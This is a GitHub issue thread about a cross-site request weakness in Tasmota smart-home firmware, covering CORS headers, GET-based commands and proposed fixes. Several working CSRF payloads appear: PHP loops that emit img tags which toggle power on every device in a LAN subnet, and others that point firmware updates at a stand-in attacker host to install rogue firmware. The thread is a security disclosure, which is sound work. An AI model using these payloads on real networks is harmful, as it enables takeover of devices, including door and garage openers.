Closed pseudosavant closed 3 years ago
A PR is welcome ;-)
Once upon a time there was this #5852
Thx for the elaborate information.
As you suggested I will disable sending Access-Control-Allow-Origin by default and allow a user to enable it with a SetOption command.
BTW Nice tool this Tasmota Device Locator
So, with this update to disable CORS by default, users will not be able to use the "live" version of TDL and will have to deploy TDL on their own local server?
I will make a note in the TDL wiki article if this is so.
Just tested it and as expected it doesn't find it (192.168.2.223) on the local network too.
Access to XMLHttpRequest at 'http://192.168.2.223/cm?cmnd=Module' from origin 'http://domus1' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
xhr.js:178 Cross-Origin Read Blocking (CORB) blocked cross-origin response http://192.168.2.223/cm?cmnd=Module with MIME type application/json. See https://www.chromestatus.com/feature/5629709824032768 for more details.
This will make TDL useless but increases security ;-)
I did some research and trial-and-error to look at the consequences of disabling CORS.
Regarding TDL I think the author has to re-think his solution. There must be other ways to scan for Tasmota devices with CORS disabled.
TasmoAdmin is still able to find the device with CORS disabled.
I will release command SetOption73 0/1
with default CORS disabled (0).
Closing this issue as it has been fixed. Thanks for reporting.
Wow, what a fast turnaround! Thanks! This is such a great project!
It seems, this security issue is still open. The CORS option can be manipulated by any website itself.
For example:
I think, this is still a huge security issue?!
If you can send any command, CORS is not the main issue. If you delete CORS from Tasmota, but you still has no password in your Tasmota device, you can send any command to it. So, CORS is not the problem. CORS is just another communication channel.
The main issue is leaving your device unprotected without password. If you set a password, CORS can not be enabled.
Setting passwords is a different topic. By default there is no pwd on the devices. Anyway, IMO it's an issue. If CORS is disabled, it should not be possible to enable it again via CORS. The option to disable is useless, if a website can easily get permission by sending a simple request (cmnd=CORS http://blah.com).
PS.: CORS is not just another communication channel. JavaScript is client-side...
If you don't have a password, it is trivial if you have or not CORS in your build.
You can already send any command to your device.
From your example:
the first AJAX request will be: "http://192.168.1.11/cm?cmnd=CORS http://tasui.shantur.com"
That can already be ANY Tasmota command.
So, if a user want to secure his/her setup, a password must be used AND also the recommendations stated in the docs.
Again: same origin policy is a DIFFERENT security feature than setting a password. If you have a security issue in one component of a software, it should be fixed... not just say: use another feature.
You miss the point of AJAX and CORS. Its not the question, if you "can already [send] ANY Tasmota command". The security issue is, that with this implementation of CORS ANY website can send a request into your LOCAL network. Yes, you can setup a password - but its a HUGE issue to kick out same origin policy to open that door!
So, lets say a "normal" user, without knowing things about same origin or CORS has his private LAN behind his router. Well, most people would say: "ah, thats ok - there is no way to access my tasmota devices from outside of my LAN". Normally this is true because of same origin. But: in this implementation every website can request "cm?cmnd=CORS" through JavaScript, which runs on the client - in your LAN. This way, it has full control over all devices inside your LAN.
Thats why, every API, which should be used inside a LAN never ever enables CORS! To disable CORS but keep it possible to enable CORS via CORS is weird, sorry.
CORS is disabled by default.
What else do you propose to do?
CORS is disabled by default. What else do you propose to do?
No - you can still enable it through JavaScript over CORS. Thats the point.
To reproduce: If you send a HTTP request over AJAX like: "local-ip/cm?cmnd=toggle" -> same policy works
But the issue, if you send a request over AJAX like: "local-ip/cm?cmnd=CORS http://mybadwebsite.com" -> ACCEPTED! and CORS enabled after this simple request!
The fix would be: enabling CORS only on the device itself, NOT over the API!
Ok, so your fix is just deleting the command CORS
from Tasmota and allowing only the CORS configuration from the Wi-Fi Configuration Menu (It is actually there too) ?
I agree to that, but if the Tasmota device don't have a password, you can do whatever you want using the API too, like changing the whole firmware over OTAurl. So, the most important thing is to put a password to your device to avoid all that.
I agree to delete that command, but this will add an extra configuration step for TasUI and @shantur won't be happy.
Please, can you provide a PR with this removal? We can further discuss this there.
Easier to fix is the real bug: if CORS is disabled (it is by default), do not send CORS headers when enabling CORS via API. Because this is useless. Its like to set a password and print it on the login page ;-)
I know that thing with the password... this is a complete different topic. Its not the normal behavior to provide an API (with disabled CORS) and give a command to enable it from any website. There are many users out there, who have not setup a password because they trust, that there is no access inside their LAN.
In fact: all tasmota devices without password (ALSO when behind a router with or without firewall) can be full accessed by any website, which is opened in a browser from inside the LAN.
but if the Tasmota device don't have a password, you can do whatever you want using the API too
Yes - and with the CORS command, not only you can do whatever you want using the API... as i said: EVERY website can do whatever THEY want! Thats not the behavior, which the normal user is excepting, if his devices are in his private LAN.
Edit: after searching in the codebase, it seems, that the command (enable CORS) is executed and after that, tasmota execute "HttpHeaderCors(void)": which sends the CORS headers. The fix would be: before changing CORS setting, check if the request came from same origin - if not, dont enable...
Let's reopen for further discussion to find the best way to fix this.
@ascillato2 : as far as I remember, the issue is that even though CORS is disabled Tasmota executes the command.
This is how it happens
Now, how can this be fixed. I have a bad news, its going to upset someone.
The cleanest way is to check the origin header and if the origin header url doesn't match Tasmota IP or mDNS name just reject any command or any other secure requests that could be dangerous.
if (originHeader != mDNSName || originHeader != IP) {
return;
}
For people who are upset now
For web based apps like tasmota finder and tasui.shantur.com - Ask the users to allow CORS to the website or provide them with something they could run locally which could set the CORS without using browser like a shell script or Electron based app.
For native apps like TDM - As you can control your requests, just add the origin header as the tasmota device IP in your requests and things will still work as expected.
For people who use DNS to name your devices - Your options are
a. Either ask Tasmota guys to add a field where you can set the device's DNS name which Tasmota can match with originHeader
b. Or Tasmota guys need to be smart and try to see if the origin is a hostname, then use it resolve to its IP. This could be done on first network connection and can be cached.
Maybe this is a dumb question, but can anyone actually reproduce this issue? I am correctly getting denied when CORS is enabled. Unless your browser is unusually configured to not check for the Access-Control-Allow-Origin
header, the browser should prevent making any requests. The enforcement of CORS is all on the client, so it only affects browsers. Anything else (e.g. curl
) can make any request it wants to any endpoint.
I used this command in the browser dev tools console while on http://tasui.shantur.com/.
(async () => {
console.log(await fetch('http://192.168.1.107/cm?cmnd=CORS http://tasui.shantur.com'));
})();
Maybe this is a dumb question, but can anyone actually reproduce this issue?
You should reproduce it by sending the request twice - or just using http://tasui.shantur.com/#/findDevices (take a look to the network console).
[EDIT]: hm, the 2nd image is strange. I've tested the issue on firefox. Maybe Chrome is sending a preflight request also on simple requests? Does http://tasui.shantur.com/#/findDevices work on your browser?
But you are right: the same-origin-policy is a security feature of the browser itself (not on the server), but an important one (a website shouldn't be allowed to fetch HTTP requests into your LAN).
IMO, the problem is the architecture of the API. There are 2 types of requests:
While preflight requests are useful, because the browser would send an OPTION request to the server to check if CORS is allowed before doing the real request, simple requests are fired once and only the result will be blocked by the browser!
All requests of this API are simple requests, since it uses always the GET method and send the data via URL parameter. Normally for changing a resource, its recommended to use POST or PUT and transfer the data in the body as JSON.
Why?... Because a GET to a resource should just read out data. So there is no need to check before via preflight request, because a simple request should never change something (it's enough to block the result). So this is the first problem: the request is done, it changes the CORS setting even if the browser blocks the result. You also can try to do some other commands, like power toggle...
I think, if it is too much work to change the Web-API to use POST/PUT requests with request body in an JSON for changing data and settings (which will end in preflight requests and CORS working out of the box), you should force to set a own password on first installation, IMO!
Too many users out there, who trust on their private network... while any website can use the tasmota API to walk into it... doing bad things as you described in the bug description...
I tried submitting multiple requests and using TasUI, but I have passwords on all my devices. It did reproduce when I removed my password however.
The first request is shown as a CORS error in the dev tools, but the second one does work. Is Tasmota treating the preflight OPTIONS
request as a GET
? That way the CORS setting gets set and future requests work as you'd expect with proper a CORS header.
This is definitely a security bug. Even if no password is set, you shouldn't be able to make any requests to a device on a different origin than the page you are on.
I think the correct fix would be:
OPTIONS
requests not do anything other than reply for CORS requests. An OPTIONS
request should never change anything.OPTIONS
requests fail if the Origin
header does not equal the Tasmota CORS domainOPTIONS
requests require the Origin
headerEdit: added suggested fixes.
The OPTIONS request is not the main bug (but maybe the 2nd step to solve this issue). I do not see any OPTIONS request, when i try to access the API via JavaScript. The browsers differs between "Simple requests" and "Preflighted requests". A request via JavaScript with method GET and data transfer with mime type text/plain or application/x-www-form-urlencoded is done as simple requests without a preflight OPTIONS request.
So this way, a solution could be to check the same origin on the server side - but this is not the job for the server, little dirty fix.
The cleanest solution would be to change the API:
The clean solution will also close the door for other cross site attacks. For example, its always possible to send a simple GET request with other techniques.
Lets try this - a website could do something like this:
<?php
for ($i = 0; $i < 256; $i++) {
echo '<img src="192.168.1.' $i . '/cm?cmnd/tasmota/OtaUrl http://attackerhost.com/its_mine.bin">';
echo '<img src="192.168.1.' $i . '/cm?cmnd/tasmota/Upgrade 1">';
}
If we agree, that same-origin is an important security mechanism, then the API must use POST/PUT requests for changing state/settings requests, because with simple GET requests CORS will not work, nor its safe against other kinds of cross-site attacks.
If there is no agreement for implementations against this cross-site things, then IMO it's needed to force all users to set a (good) password (because as you said: bruteforce over JavaScript requests is still possible)!
I've implemented a little test: https://www.bananenfisch.net/fun.php Note: there is a warning. If you click the link on this page, this code will be executed:
<body>
If you did not set a password on your tasmota devices and they are in the 192.168.1 subnet, then all power states are toggled now... please check your lights / water systems / garage door openers / roller shutter / etc.
<?php
for ($i = 2; $i < 255; $i++) {
echo '<img src="http://192.168.1.' . $i . '/cm?cmnd=Power%20TOGGLE">';
}
?>
</body>
@bananenfisch : According to https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests a POST request is also a simple request, unless I am not reading it correctly
Having read https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests , a simple way to make all request preflighted is to add a non-standard header. It could be any static header that Tasmota needs to check before accepting the request
@bananenfisch : According to https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests a POST request is also a simple request, unless I am not reading it correctly
The only allowed values for the Content-Type header are: application/x-www-form-urlencoded multipart/form-data text/plain
Normally you put the POST data into an JSON - that way it will become a "preflight request" and the browser will do all security work for you.
Having read https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests , a simple way to make all request preflighted is to add a non-standard header.
How? Its all about request headers ... an attacker can implement his JavaScript requests as he like. The only way to prevent against cross site attacks is:
That's the minimum standard for RESTful APIs. If you try to create an ugly work-around to get the CORS working, you still have this problem:
<img src="192.168.1.' $i . '/cm?cmnd/tasmota/OtaUrl http://attackerhost.com/its_mine.bin">
This is really a big security issue... If you have a garage door opener with tasmota with no password (default), any person can send you a message: "hey, visit my new website: xxx"... voila! Welcome home!
please force all users to setup a good password until this issue isn't closed
I had never read about the preflight vs simple request aspect of CORS. I thought it always preflighted. Learning something new every day. I realized that I'm already using abusing this issue (via <img>
) to make API requests to my IR blaster from an external domain: http://tasmota-ir-remote.glitch.me/.
I agree that it would be preferred to take a RESTish approach and use the 'correct' HTTP methods based on if you are reading or writing. It would be a huge breaking change though. And doing that will only fix part of the problem as it is still a significant security issue if attackers could extract data from any Tasmota device on a user's network.
The Fetch spec has the exact steps (see below) required to do a CORS check for requests and responses. It would seem Tasmota should conform to those same steps for its responses?
To perform a CORS check for a request and response, run these steps:
- Let origin be the result of getting
Access-Control-Allow-Origin
from response’s header list.- If origin is null, then return failure.
- If request’s credentials mode is not "include" and origin is
*
, then return success.- If the result of byte-serializing a request origin with request is not origin, then return failure.
- If request’s credentials mode is not "include", then return success.
- Let credentials be the result of getting
Access-Control-Allow-Credentials
from response’s header list.- If credentials is
true
, then return success.- Return failure.
Having read https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests , a simple way to make all request preflighted is to add a non-standard header. It could be any static header that Tasmota needs to check before accepting the request
Hmmm... i was thinking about it a little more. Maybe this could really work (sure, its an ugly work-around, but maybe an option to close the issue quickly).
We should test this scenario:
Theoretically it would result in this (need to test this):
Lets do some tests...
Indeed.
I have worked with Tasmota code and that's the easiest and least disruptive work-around. The only thing needs to be figured out what happens with the pages served by Tasmota itself. Would it be possible to add the header there?
Hi, any news on this?
Would be Ok if until a fix is submitted, we disable CORS commands and preflights responses?
Interesting articles about this problem: https://livebook.manning.com/book/cors-in-action/chapter-4/ https://medium.com/@ehayushpathak/security-risks-of-cors-e3f4a25c04d7
OK with me. Let's see what the response is.
I strongly recommend to force all users to setup a password and not just disable CORS. The easiest fix would be to set a custom header, which should be checked before the API perform the action.
CORS is just one part of the problem. Every visited website can take control over ALL tasmota devices with no password set, as simple: <img src="192.168.1.' $i . '/cm?cmnd/tasmota/OtaUrl http://attackerhost.com/its_mine.bin">
CORS is an AJAX thing... but since the API works with simple GET requests (without custom headers), there is no need to do it via AJAX... A custom header solves this issue, because:
Our tasmota devices are used for doors openers also, not just for lights - so, it's a huge security issue. IMO the only possible way is: force to set a initial password until this isn't fixed... or just set a default password, which cannot be disabled (admin/admin is enough to kill cross site attacks).
An interesting and informative read.
One observation is that the access to the webcam video via <img>
tag works, even though it is actually cross-origin (because /stream is on port 81). But a fetch
against :81/stream fails with CORS error, even if the requesting HTML is served from the specific tasmota from which you want to read the stream.
i really do not get this - what is the point of having a web API at all, if you will not allow CORS?
could someone please point me to a rational explanation?
Please open a new discussion with your detailed question. This issue is closed.
PROBLEM DESCRIPTION
A clear and concise description of what the problem is.
Tasmota has CORS HTTP headers enabled by default. This is a major security issue that could easily be exploited by any website with some simple Javascript, especially since Tasmota does not require a web password by default.
REQUESTED INFORMATION
Make sure your have performed every step and checked the applicable boxes before submitting your issue. Thank you!
Backlog Template; Module; GPIO 255
:Backlog Rule1; Rule2; Rule3
:Status 0
:weblog
to 4 and then, when you experience your issue, provide the output of the Console log:TO REPRODUCE
Steps to reproduce the behavior:
curl --user username:password --head 192.168.1.100
Access-Control-Allow-Origin: *
CORS header is included as an HTTP response headerEXPECTED BEHAVIOUR
A clear and concise description of what you expected to happen.
SCREENSHOTS
If applicable, add screenshots to help explain your problem.
NA
ADDITIONAL CONTEXT
Add any other context about the problem here.
It would be very easy to create a script could be dropped into any web page that would:
This attack vector could largely be mitigated by making CORS configurable (disabled by default), and requiring a web password to be set when first configuring the wifi. Those that prefer to control their Tasmota devices using HTTP requests could still use that method by using an HTTP password and/or enabling CORS.
(Please, remember to close the issue when the problem has been addressed)